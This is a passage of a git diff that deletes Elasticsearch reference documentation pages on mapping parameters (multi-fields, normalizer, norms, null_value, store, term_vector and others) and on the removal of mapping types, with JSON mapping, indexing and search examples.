-NOTE: Field metadata enforces at most 5 entries, that keys have a length that
-is less than or equal to 20, and that values are strings whose length is less
-than or equal to 50.
-
-NOTE: Field metadata is updatable by submitting a mapping update. The metadata
-of the update will override the metadata of the existing field.
diff --git a/docs/reference/mapping/params/multi-fields.asciidoc b/docs/reference/mapping/params/multi-fields.asciidoc
deleted file mode 100644
index fcf828db890..00000000000
--- a/docs/reference/mapping/params/multi-fields.asciidoc
+++ /dev/null
@@ -1,128 +0,0 @@
-[[multi-fields]]
-=== `fields`
-
-It is often useful to index the same field in different ways for different
-purposes.  This is the purpose of _multi-fields_. For instance, a `string`
-field could be mapped as a `text` field for full-text
-search, and as a `keyword` field for sorting or aggregations:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "city": {
-        "type": "text",
-        "fields": {
-          "raw": { <1>
-            "type":  "keyword"
-          }
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "city": "New York"
-}
-
-PUT my-index-000001/_doc/2
-{
-  "city": "York"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "city": "york" <2>
-    }
-  },
-  "sort": {
-    "city.raw": "asc" <3>
-  },
-  "aggs": {
-    "Cities": {
-      "terms": {
-        "field": "city.raw" <3>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `city.raw` field is a `keyword` version of the `city` field.
-<2> The `city` field can be used for full text search.
-<3> The `city.raw` field can be used for sorting and aggregations
-
-NOTE: Multi-fields do not change the original `_source` field.
-
-TIP: New multi-fields can be added to existing
-fields using the <<indices-put-mapping,PUT mapping API>>.
-
-==== Multi-fields with multiple analyzers
-
-Another use case of multi-fields is to analyze the same field in different
-ways for better relevance. For instance we could index a field with the
-<<analysis-standard-analyzer,`standard` analyzer>> which breaks text up into
-words, and again with the <<english-analyzer,`english` analyzer>>
-which stems words into their root form:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "text": { <1>
-        "type": "text",
-        "fields": {
-          "english": { <2>
-            "type":     "text",
-            "analyzer": "english"
-          }
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{ "text": "quick brown fox" } <3>
-
-PUT my-index-000001/_doc/2
-{ "text": "quick brown foxes" } <3>
-
-GET my-index-000001/_search
-{
-  "query": {
-    "multi_match": {
-      "query": "quick brown foxes",
-      "fields": [ <4>
-        "text",
-        "text.english"
-      ],
-      "type": "most_fields" <4>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `text` field uses the `standard` analyzer.
-<2> The `text.english` field uses the `english` analyzer.
-<3> Index two documents, one with `fox` and the other with `foxes`.
-<4> Query both the `text` and `text.english` fields and combine the scores.
-
-The `text` field contains the term `fox` in the first document and `foxes` in
-the second document.  The `text.english` field contains `fox` for both
-documents, because `foxes` is stemmed to `fox`.
-
-The query string is also analyzed by the `standard` analyzer for the `text`
-field, and by the `english` analyzer for the `text.english` field.  The
-stemmed field allows a query for `foxes` to also match the document containing
-just `fox`.  This allows us to match as many documents as possible.  By also
-querying the unstemmed `text` field, we improve the relevance score of the
-document which matches `foxes` exactly.
diff --git a/docs/reference/mapping/params/normalizer.asciidoc b/docs/reference/mapping/params/normalizer.asciidoc
deleted file mode 100644
index 3eb340cc745..00000000000
--- a/docs/reference/mapping/params/normalizer.asciidoc
+++ /dev/null
@@ -1,181 +0,0 @@
-[[normalizer]]
-=== `normalizer`
-
-The `normalizer` property of <<keyword,`keyword`>> fields is similar to
-<<analyzer,`analyzer`>> except that it guarantees that the analysis chain
-produces a single token.
-
-The `normalizer` is applied prior to indexing the keyword, as well as at
-search-time when the `keyword` field is searched via a query parser such as
-the <<query-dsl-match-query,`match`>> query or via a term-level query
-such as the <<query-dsl-term-query,`term`>> query.
-
-A simple normalizer called `lowercase` ships with elasticsearch and can be used.
-Custom normalizers can be defined as part of analysis settings as follows.
-
-
-[source,console]
---------------------------------
-PUT index
-{
-  "settings": {
-    "analysis": {
-      "normalizer": {
-        "my_normalizer": {
-          "type": "custom",
-          "char_filter": [],
-          "filter": ["lowercase", "asciifolding"]
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "foo": {
-        "type": "keyword",
-        "normalizer": "my_normalizer"
-      }
-    }
-  }
-}
-
-PUT index/_doc/1
-{
-  "foo": "BÀR"
-}
-
-PUT index/_doc/2
-{
-  "foo": "bar"
-}
-
-PUT index/_doc/3
-{
-  "foo": "baz"
-}
-
-POST index/_refresh
-
-GET index/_search
-{
-  "query": {
-    "term": {
-      "foo": "BAR"
-    }
-  }
-}
-
-GET index/_search
-{
-  "query": {
-    "match": {
-      "foo": "BAR"
-    }
-  }
-}
---------------------------------
-
-The above queries match documents 1 and 2 since `BÀR` is converted to `bar` at
-both index and query time.
-
-[source,console-result]
-----------------------------
-{
-  "took": $body.took,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 2,
-        "relation": "eq"
-    },
-    "max_score": 0.4700036,
-    "hits": [
-      {
-        "_index": "index",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.4700036,
-        "_source": {
-          "foo": "BÀR"
-        }
-      },
-      {
-        "_index": "index",
-        "_type": "_doc",
-        "_id": "2",
-        "_score": 0.4700036,
-        "_source": {
-          "foo": "bar"
-        }
-      }
-    ]
-  }
-}
-----------------------------
-// TESTRESPONSE[s/"took".*/"took": "$body.took",/]
-
-Also, the fact that keywords are converted prior to indexing also means that
-aggregations return normalized values:
-
-[source,console]
-----------------------------
-GET index/_search
-{
-  "size": 0,
-  "aggs": {
-    "foo_terms": {
-      "terms": {
-        "field": "foo"
-      }
-    }
-  }
-}
-----------------------------
-// TEST[continued]
-
-returns
-
-[source,console-result]
-----------------------------
-{
-  "took": 43,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 3,
-        "relation": "eq"
-    },
-    "max_score": null,
-    "hits": []
-  },
-  "aggregations": {
-    "foo_terms": {
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0,
-      "buckets": [
-        {
-          "key": "bar",
-          "doc_count": 2
-        },
-        {
-          "key": "baz",
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
-----------------------------
-// TESTRESPONSE[s/"took".*/"took": "$body.took",/]
diff --git a/docs/reference/mapping/params/norms.asciidoc b/docs/reference/mapping/params/norms.asciidoc
deleted file mode 100644
index 303c2af5ecc..00000000000
--- a/docs/reference/mapping/params/norms.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
-[[norms]]
-=== `norms`
-
-Norms store various normalization factors that are later used at query time
-in order to compute the score of a document relatively to a query.
-
-Although useful for scoring, norms also require quite a lot of disk
-(typically in the order of one byte per document per field in your index, even
-for documents that don't have this specific field). As a consequence, if you
-don't need scoring on a specific field, you should disable norms on that
-field. In  particular, this is the case for fields that are used solely for
-filtering or aggregations.
-
-TIP: Norms can be disabled on existing fields using
-the <<indices-put-mapping,PUT mapping API>>.
-
-Norms can be disabled (but not reenabled after the fact), using the
-<<indices-put-mapping,PUT mapping API>> like so:
-
-[source,console]
-------------
-PUT my-index-000001/_mapping
-{
-  "properties": {
-    "title": {
-      "type": "text",
-      "norms": false
-    }
-  }
-}
-------------
-// TEST[s/^/PUT my-index-000001\n/]
-
-NOTE: Norms will not be removed instantly, but will be removed as old segments
-are merged into new segments as you continue indexing new documents. Any score
-computation on a field that has had norms removed might return inconsistent
-results since some documents won't have norms anymore while other documents
-might still have norms.
diff --git a/docs/reference/mapping/params/null-value.asciidoc b/docs/reference/mapping/params/null-value.asciidoc
deleted file mode 100644
index f1737ed5ace..00000000000
--- a/docs/reference/mapping/params/null-value.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[[null-value]]
-=== `null_value`
-
-A `null` value cannot be indexed or searched.  When a field is set to `null`,
-(or an empty array or an array of `null` values)  it is treated as though that
-field has no values.
-
-The `null_value` parameter allows you to replace explicit `null` values with
-the specified value so that it can be indexed and searched.  For instance:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "status_code": {
-        "type":       "keyword",
-        "null_value": "NULL" <1>
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "status_code": null
-}
-
-PUT my-index-000001/_doc/2
-{
-  "status_code": [] <2>
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "term": {
-      "status_code": "NULL" <3>
-    }
-  }
-}
---------------------------------------------------
-
-<1> Replace explicit `null` values with the term `NULL`.
-<2> An empty array does not contain an explicit `null`, and so won't be replaced with the `null_value`.
-<3> A query for `NULL` returns document 1, but not document 2.
-
-IMPORTANT: The `null_value` needs to be the same data type as the field.  For
-instance, a `long` field cannot have a string `null_value`.
-
-NOTE: The `null_value` only influences how data is indexed, it doesn't modify
-the `_source` document.
diff --git a/docs/reference/mapping/params/position-increment-gap.asciidoc b/docs/reference/mapping/params/position-increment-gap.asciidoc
deleted file mode 100644
index 39b7b87cb3b..00000000000
--- a/docs/reference/mapping/params/position-increment-gap.asciidoc
+++ /dev/null
@@ -1,85 +0,0 @@
-[[position-increment-gap]]
-=== `position_increment_gap`
-
-<<mapping-index,Analyzed>> text fields take term <<index-options,positions>>
-into account, in order to be able to support
-<<query-dsl-match-query-phrase,proximity or phrase queries>>.
-When indexing text fields with multiple values a "fake" gap is added between
-the values to prevent most phrase queries from matching across the values. The
-size of this gap is configured using `position_increment_gap` and defaults to
-`100`.
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "names": [ "John Abraham", "Lincoln Smith"]
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match_phrase": {
-      "names": {
-        "query": "Abraham Lincoln" <1>
-      }
-    }
-  }
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match_phrase": {
-      "names": {
-        "query": "Abraham Lincoln",
-        "slop": 101 <2>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This phrase query doesn't match our document which is totally expected.
-<2> This phrase query matches our document, even though `Abraham` and `Lincoln`
-    are in separate strings, because `slop` > `position_increment_gap`.
-
-
-The `position_increment_gap` can be specified in the mapping.  For instance:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "names": {
-        "type": "text",
-        "position_increment_gap": 0 <1>
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "names": [ "John Abraham", "Lincoln Smith"]
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match_phrase": {
-      "names": "Abraham Lincoln" <2>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The first term in the next array element will be 0 terms apart from the
-    last term in the previous array element.
-<2> The phrase query matches our document which is weird, but its what we asked
-    for in the mapping.
-
diff --git a/docs/reference/mapping/params/properties.asciidoc b/docs/reference/mapping/params/properties.asciidoc
deleted file mode 100644
index 1f3330062c2..00000000000
--- a/docs/reference/mapping/params/properties.asciidoc
+++ /dev/null
@@ -1,101 +0,0 @@
-[[properties]]
-=== `properties`
-
-Type mappings, <<object,`object` fields>> and <<nested,`nested` fields>>
-contain sub-fields, called `properties`. These properties may be of any
-<<mapping-types,data type>>, including `object` and `nested`.  Properties can
-be added:
-
-* explicitly by defining them when <<indices-create-index,creating an index>>.
-* explicitly by defining them when adding or updating a mapping type with the <<indices-put-mapping,PUT mapping>> API.
-* <<dynamic-mapping,dynamically>> just by indexing documents containing new fields.
-
-Below is an example of adding `properties` to a mapping type, an `object`
-field, and a `nested` field:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": { <1>
-      "manager": {
-        "properties": { <2>
-          "age":  { "type": "integer" },
-          "name": { "type": "text"  }
-        }
-      },
-      "employees": {
-        "type": "nested",
-        "properties": { <3>
-          "age":  { "type": "integer" },
-          "name": { "type": "text"  }
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1 <4>
-{
-  "region": "US",
-  "manager": {
-    "name": "Alice White",
-    "age": 30
-  },
-  "employees": [
-    {
-      "name": "John Smith",
-      "age": 34
-    },
-    {
-      "name": "Peter Brown",
-      "age": 26
-    }
-  ]
-}
---------------------------------------------------
-
-<1> Properties in the top-level mappings definition.
-<2> Properties under the `manager` object field.
-<3> Properties under the `employees` nested field.
-<4> An example document which corresponds to the above mapping.
-
-TIP: The `properties` setting is allowed to have different settings for fields
-of the same name in the same index.  New properties can be added to existing
-fields using the <<indices-put-mapping,PUT mapping API>>.
-
-==== Dot notation
-
-Inner fields can be referred to in queries, aggregations, etc., using _dot
-notation_:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "manager.name": "Alice White" 
-    }
-  },
-  "aggs": {
-    "Employees": {
-      "nested": {
-        "path": "employees"
-      },
-      "aggs": {
-        "Employee Ages": {
-          "histogram": {
-            "field": "employees.age", 
-            "interval": 5
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-IMPORTANT: The full path to the inner field must be specified.
diff --git a/docs/reference/mapping/params/search-analyzer.asciidoc b/docs/reference/mapping/params/search-analyzer.asciidoc
deleted file mode 100644
index 9f63b0b5acf..00000000000
--- a/docs/reference/mapping/params/search-analyzer.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
-[[search-analyzer]]
-=== `search_analyzer`
-
-Usually, the same <<analyzer,analyzer>> should be applied at index time and at
-search time, to ensure that the terms in the query are in the same format as
-the terms in the inverted index.
-
-Sometimes, though, it can make sense to use a different analyzer at search
-time, such as when using the  <<analysis-edgengram-tokenizer,`edge_ngram`>>
-tokenizer for autocomplete.
-
-By default, queries will use the `analyzer` defined in the field mapping, but
-this can be overridden with the `search_analyzer` setting:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "autocomplete_filter": {
-          "type": "edge_ngram",
-          "min_gram": 1,
-          "max_gram": 20
-        }
-      },
-      "analyzer": {
-        "autocomplete": { <1>
-          "type": "custom",
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase",
-            "autocomplete_filter"
-          ]
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "text": {
-        "type": "text",
-        "analyzer": "autocomplete", <2>
-        "search_analyzer": "standard" <2>
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "text": "Quick Brown Fox" <3>
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "text": {
-        "query": "Quick Br", <4>
-        "operator": "and"
-      }
-    }
-  }
-}
-
---------------------------------------------------
-
-<1> Analysis settings to define the custom `autocomplete` analyzer.
-<2> The `text` field uses the `autocomplete` analyzer at index time, but the `standard` analyzer at search time.
-<3> This field is indexed as the terms: [ `q`, `qu`, `qui`, `quic`, `quick`, `b`, `br`, `bro`, `brow`, `brown`, `f`, `fo`, `fox` ]
-<4> The query searches for both of these terms: [ `quick`, `br` ]
-
-See {defguide}/_index_time_search_as_you_type.html[Index time search-as-you-
-type] for a full explanation of this example.
-
-TIP: The `search_analyzer` setting can be updated on existing fields
-using the <<indices-put-mapping,PUT mapping API>>.
diff --git a/docs/reference/mapping/params/similarity.asciidoc b/docs/reference/mapping/params/similarity.asciidoc
deleted file mode 100644
index 0ac6455c961..00000000000
--- a/docs/reference/mapping/params/similarity.asciidoc
+++ /dev/null
@@ -1,55 +0,0 @@
-[[similarity]]
-=== `similarity`
-
-Elasticsearch allows you to configure a scoring algorithm or _similarity_ per
-field. The `similarity` setting provides a simple way of choosing a similarity
-algorithm other than the default `BM25`, such as `TF/IDF`.
-
-Similarities are mostly useful for <<text,`text`>> fields, but can also apply
-to other field types.
-
-Custom similarities can be configured by tuning the parameters of the built-in
-similarities. For more details about this expert options, see the
-<<index-modules-similarity,similarity module>>.
-
-The only similarities which can be used out of the box, without any further
-configuration are:
-
-`BM25`::
-The {wikipedia}/Okapi_BM25[Okapi BM25 algorithm]. The
-algorithm used by default in {es} and Lucene.
-
-`classic`::
-deprecated:[7.0.0]
-The https://en.wikipedia.org/wiki/Tf%E2%80%93idf[TF/IDF algorithm], the former
-default in {es} and Lucene.
-
-`boolean`::
-        A simple boolean similarity, which is used when full-text ranking is not needed
-        and the score should only be based on whether the query terms match or not.
-        Boolean similarity gives terms a score equal to their query boost.
-
-
-The `similarity` can be set on the field level when a field is first created,
-as follows:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "default_field": { <1>
-        "type": "text"
-      },
-      "boolean_sim_field": {
-        "type": "text",
-        "similarity": "boolean" <2>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `default_field` uses the `BM25` similarity.
-<2> The `boolean_sim_field` uses the `boolean` similarity.
diff --git a/docs/reference/mapping/params/store.asciidoc b/docs/reference/mapping/params/store.asciidoc
deleted file mode 100644
index 78dfad815e7..00000000000
--- a/docs/reference/mapping/params/store.asciidoc
+++ /dev/null
@@ -1,70 +0,0 @@
-[[mapping-store]]
-=== `store`
-
-By default, field values are <<mapping-index,indexed>> to make them searchable,
-but they are not _stored_.  This means that the field can be queried, but the
-original field value cannot be retrieved.
-
-Usually this doesn't matter.  The field value is already part of the
-<<mapping-source-field,`_source` field>>, which is stored by default. If you
-only want to retrieve the value of a single field or of a few fields, instead
-of the whole `_source`, then this can be achieved with
-<<source-filtering,source filtering>>.
-
-In certain situations it can make sense to `store` a field.  For instance, if
-you have a document with a `title`, a `date`, and a very large `content`
-field, you may want to retrieve just the `title` and the `date` without having
-to extract those fields from a large `_source` field:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "title": {
-        "type": "text",
-        "store": true <1>
-      },
-      "date": {
-        "type": "date",
-        "store": true <1>
-      },
-      "content": {
-        "type": "text"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "title":   "Some short title",
-  "date":    "2015-01-01",
-  "content": "A very long content field..."
-}
-
-GET my-index-000001/_search
-{
-  "stored_fields": [ "title", "date" ] <2>
-}
---------------------------------------------------
-
-<1> The `title` and `date` fields are stored.
-<2> This request will retrieve the values of the `title` and `date` fields.
-
-[NOTE]
-.Stored fields returned as arrays
-======================================
-
-For consistency, stored fields are always returned as an _array_ because there
-is no way of knowing if the original field value was a single value, multiple
-values, or an empty array.
-
-If you need the original value, you should retrieve it from the `_source`
-field instead.
-
-======================================
-
-Another situation where it can make sense to make a field stored is for those
-that don't appear in the `_source` field (such as <<copy-to,`copy_to` fields>>).
diff --git a/docs/reference/mapping/params/term-vector.asciidoc b/docs/reference/mapping/params/term-vector.asciidoc
deleted file mode 100644
index b5d83a97ab9..00000000000
--- a/docs/reference/mapping/params/term-vector.asciidoc
+++ /dev/null
@@ -1,70 +0,0 @@
-[[term-vector]]
-=== `term_vector`
-
-Term vectors contain information about the terms produced by the
-<<analysis,analysis>> process, including:
-
-* a list of terms.
-* the position (or order) of each term.
-* the start and end character offsets mapping the term to its
-  origin in the original string.
-* payloads (if they are available) — user-defined binary data
-  associated with each term position.
-
-These term vectors can be stored so that they can be retrieved for a
-particular document.
-
-The `term_vector` setting accepts:
-
-[horizontal]
-`no`::                      No term vectors are stored. (default)
-`yes`::                     Just the terms in the field are stored.
-`with_positions`::          Terms and positions are stored.
-`with_offsets`::            Terms and character offsets are stored.
-`with_positions_offsets`::  Terms, positions, and character offsets are stored.
-`with_positions_payloads`:: Terms, positions, and payloads are stored.
-`with_positions_offsets_payloads`::  Terms, positions, offsets and payloads are stored.
-
-The fast vector highlighter requires `with_positions_offsets`.
-<<docs-termvectors, The term vectors API>> can retrieve whatever is stored.
-
-WARNING:  Setting `with_positions_offsets` will double the size of a field's
-index.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "text": {
-        "type":        "text",
-        "term_vector": "with_positions_offsets"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "text": "Quick brown fox"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "text": "brown fox"
-    }
-  },
-  "highlight": {
-    "fields": {
-      "text": {} <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The fast vector highlighter will be used by default for the `text` field
-    because term vectors are enabled.
-
diff --git a/docs/reference/mapping/removal_of_types.asciidoc b/docs/reference/mapping/removal_of_types.asciidoc
deleted file mode 100644
index f0550d3f93a..00000000000
--- a/docs/reference/mapping/removal_of_types.asciidoc
+++ /dev/null
@@ -1,732 +0,0 @@
-[[removal-of-types]]
-== Removal of mapping types
-
-IMPORTANT: Indices created in Elasticsearch 7.0.0 or later no longer accept a
-`_default_` mapping. Indices created in 6.x will continue to function as before
-in Elasticsearch 6.x. Types are deprecated in APIs in 7.0, with breaking changes
-to the index creation, put mapping, get mapping, put template, get template and
-get field mappings APIs.
-
-[discrete]
-=== What are mapping types?
-
-Since the first release of Elasticsearch, each document has been stored in a
-single index and assigned a single mapping type.  A mapping type was used to
-represent the type of document or entity being indexed, for instance a
-`twitter` index might have a `user` type and a `tweet` type.
-
-Each mapping type could have its own fields, so the `user` type might have a
-`full_name` field, a `user_name` field, and an `email` field, while the
-`tweet` type could have a `content` field, a `tweeted_at` field and, like the
-`user` type, a `user_name` field.
-
-Each document had a `_type` metadata field containing the type name, and searches
-could be limited to one or more types by specifying the type name(s) in the
-URL:
-
-[source,js]
-----
-GET twitter/user,tweet/_search
-{
-  "query": {
-    "match": {
-      "user_name": "kimchy"
-    }
-  }
-}
-----
-// NOTCONSOLE
-
-The `_type` field was combined with the document's `_id` to generate a `_uid`
-field, so documents of different types with the same `_id` could exist in a
-single index.
-
-Mapping types were also used to establish a
-<<parent-join,parent-child relationship>>
-between documents, so documents of type `question` could be parents to
-documents of type `answer`.
-
-[discrete]
-=== Why are mapping types being removed?
-
-Initially, we spoke about an ``index'' being similar to a ``database'' in an
-SQL database, and a ``type'' being equivalent to a
-``table''.
-
-This was a bad analogy that led to incorrect assumptions. In an SQL database,
-tables are independent of each other.  The columns in one table have no
-bearing on columns with the same name in another table.  This is not the case
-for fields in a mapping type.
-
-In an Elasticsearch index, fields that have the same name in different mapping
-types are backed by the same Lucene field internally.  In other words, using
-the example above, the `user_name` field in the `user` type is stored in
-exactly the same field as the `user_name` field in the `tweet` type, and both
-`user_name` fields must have the same mapping (definition) in both types.
-
-This can lead to frustration when, for example, you want `deleted` to be a
-`date` field in one type and a `boolean` field in another type in the same
-index.
-
-On top of that, storing different entities that have few or no fields in
-common in the same index leads to sparse data and interferes with Lucene's
-ability to compress documents efficiently.
-
-For these reasons, we have decided to remove the concept of mapping types from
-Elasticsearch.
-
-[discrete]
-=== Alternatives to mapping types
-
-[discrete]
-==== Index per document type
-
-The first alternative is to have an index per document type.  Instead of
-storing tweets and users in a single `twitter` index, you could store tweets
-in the `tweets` index and users in the `user` index. Indices are completely
-independent of each other and so there will be no conflict of field types
-between indices.
-
-This approach has two benefits:
-
-* Data is more likely to be dense and so benefit from compression techniques
-  used in Lucene.
-
-* The term statistics used for scoring in full text search are more likely to
-  be accurate because all documents in the same index represent a single
-  entity.
-
-Each index can be sized appropriately for the number of documents it will
-contain: you can use a smaller number of primary shards for `users` and a
-larger number of primary shards for `tweets`.
-
-[discrete]
-==== Custom type field
-
-Of course, there is a limit to how many primary shards can exist in a cluster
-so you may not want to waste an entire shard for a collection of only a few
-thousand documents.  In this case, you can implement your own custom `type`
-field which will work in a similar way to the old `_type`.
-
-Let's take the `user`/`tweet` example above.  Originally, the workflow would
-have looked something like this:
-
-[source,js]
-----
-PUT twitter
-{
-  "mappings": {
-    "user": {
-      "properties": {
-        "name": { "type": "text" },
-        "user_name": { "type": "keyword" },
-        "email": { "type": "keyword" }
-      }
-    },
-    "tweet": {
-      "properties": {
-        "content": { "type": "text" },
-        "user_name": { "type": "keyword" },
-        "tweeted_at": { "type": "date" }
-      }
-    }
-  }
-}
-
-PUT twitter/user/kimchy
-{
-  "name": "Shay Banon",
-  "user_name": "kimchy",
-  "email": "shay@kimchy.com"
-}
-
-PUT twitter/tweet/1
-{
-  "user_name": "kimchy",
-  "tweeted_at": "2017-10-24T09:00:00Z",
-  "content": "Types are going away"
-}
-
-GET twitter/tweet/_search
-{
-  "query": {
-    "match": {
-      "user_name": "kimchy"
-    }
-  }
-}
-----
-// NOTCONSOLE
-
-You can achieve the same thing by adding a custom `type` field as follows:
-
-[source,js]
-----
-PUT twitter
-{
-  "mappings": {
-    "_doc": {
-      "properties": {
-        "type": { "type": "keyword" }, <1>
-        "name": { "type": "text" },
-        "user_name": { "type": "keyword" },
-        "email": { "type": "keyword" },
-        "content": { "type": "text" },
-        "tweeted_at": { "type": "date" }
-      }
-    }
-  }
-}
-
-PUT twitter/_doc/user-kimchy
-{
-  "type": "user", <1>
-  "name": "Shay Banon",
-  "user_name": "kimchy",
-  "email": "shay@kimchy.com"
-}
-
-PUT twitter/_doc/tweet-1
-{
-  "type": "tweet", <1>
-  "user_name": "kimchy",
-  "tweeted_at": "2017-10-24T09:00:00Z",
-  "content": "Types are going away"
-}
-
-GET twitter/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match": {
-          "user_name": "kimchy"
-        }
-      },
-      "filter": {
-        "match": {
-          "type": "tweet" <1>
-        }
-      }
-    }
-  }
-}
-----
-// NOTCONSOLE
-<1> The explicit `type` field takes the place of the implicit `_type` field.
-
-[discrete]
-[[parent-child-mapping-types]]
-==== Parent/Child without mapping types
-
-Previously, a parent-child relationship was represented by making one mapping
-type the parent, and one or more other mapping types the children.  Without
-types, we can no longer use this syntax.  The parent-child feature will
-continue to function as before, except that the way of expressing the
-relationship between documents has been changed to use the new
-<<parent-join,`join` field>>.
-
-
-[discrete]
-=== Schedule for removal of mapping types
-
-This is a big change for our users, so we have tried to make it as painless as
-possible.  The change will roll out as follows:
-
-Elasticsearch 5.6.0::
-
-* Setting `index.mapping.single_type: true` on an index will enable the
-  single-type-per-index behaviour which will be enforced in 6.0.
-
-* The <<parent-join,`join` field>> replacement for parent-child is available
-  on indices created in 5.6.
-
-Elasticsearch 6.x::
-
-* Indices created in 5.x will continue to function in 6.x as they did in 5.x.
-
-* Indices created in 6.x only allow a single-type per index.  Any name
-  can be used for the type, but there can be only one. The preferred type name
-  is `_doc`, so that index APIs have the same path as they will have in 7.0:
-  `PUT {index}/_doc/{id}` and `POST {index}/_doc`
-
-* The `_type` name can no longer be combined with the `_id` to form the `_uid`
-  field. The `_uid` field has become an alias for the `_id` field.
-
-* New indices no longer support the old-style of parent/child and should
-  use the <<parent-join,`join` field>> instead.
-
-* The `_default_` mapping type is deprecated.
-
-* In 6.8, the index creation, index template, and mapping APIs support a query
-  string parameter (`include_type_name`) which indicates whether requests and
-  responses should include a type name. It defaults to `true`, and should be set
-  to an explicit value to prepare to upgrade to 7.0. Not setting `include_type_name`
-  will result in a deprecation warning. Indices which don't have an explicit type will
-  use the dummy type name `_doc`.
-
-Elasticsearch 7.x::
-
-* Specifying types in requests is deprecated. For instance, indexing a
-  document no longer requires a document `type`.  The new index APIs
-  are `PUT {index}/_doc/{id}` in case of explicit ids and `POST {index}/_doc`
-  for auto-generated ids. Note that in 7.0, `_doc` is a permanent part of the
-  path, and represents the endpoint name rather than the document type.
-
-* The `include_type_name` parameter in the index creation, index template,
-  and mapping APIs will default to `false`. Setting the parameter at all will
-  result in a deprecation warning.
-
-* The `_default_` mapping type is removed.
-
-Elasticsearch 8.x::
-
-* Specifying types in requests is no longer supported.
-
-* The `include_type_name` parameter is removed.
-
-[discrete]
-=== Migrating multi-type indices to single-type
-
-The <<docs-reindex,Reindex API>> can be used to convert multi-type indices to
-single-type indices. The following examples can be used in Elasticsearch 5.6
-or Elasticsearch 6.x.  In 6.x, there is no need to specify
-`index.mapping.single_type` as that is the default.
-
-[discrete]
-==== Index per document type
-
-This first example splits our `twitter` index into a `tweets` index and a
-`users` index:
-
-[source,js]
-----
-PUT users
-{
-  "settings": {
-    "index.mapping.single_type": true
-  },
-  "mappings": {
-    "_doc": {
-      "properties": {
-        "name": {
-          "type": "text"
-        },
-        "user_name": {
-          "type": "keyword"
-        },
-        "email": {
-          "type": "keyword"
-        }
-      }
-    }
-  }
-}
-
-PUT tweets
-{
-  "settings": {
-    "index.mapping.single_type": true
-  },
-  "mappings": {
-    "_doc": {
-      "properties": {
-        "content": {
-          "type": "text"
-        },
-        "user_name": {
-          "type": "keyword"
-        },
-        "tweeted_at": {
-          "type": "date"
-        }
-      }
-    }
-  }
-}
-
-POST _reindex
-{
-  "source": {
-    "index": "twitter",
-    "type": "user"
-  },
-  "dest": {
-    "index": "users",
-    "type": "_doc"
-  }
-}
-
-POST _reindex
-{
-  "source": {
-    "index": "twitter",
-    "type": "tweet"
-  },
-  "dest": {
-    "index": "tweets",
-    "type": "_doc"
-  }
-}
-----
-// NOTCONSOLE
-
-[discrete]
-==== Custom type field
-
-This next example adds a custom `type` field and sets it to the value of the
-original `_type`.  It also adds the type to the `_id` in case there are any
-documents of different types which have conflicting IDs:
-
-[source,js]
-----
-PUT new_twitter
-{
-  "mappings": {
-    "_doc": {
-      "properties": {
-        "type": {
-          "type": "keyword"
-        },
-        "name": {
-          "type": "text"
-        },
-        "user_name": {
-          "type": "keyword"
-        },
-        "email": {
-          "type": "keyword"
-        },
-        "content": {
-          "type": "text"
-        },
-        "tweeted_at": {
-          "type": "date"
-        }
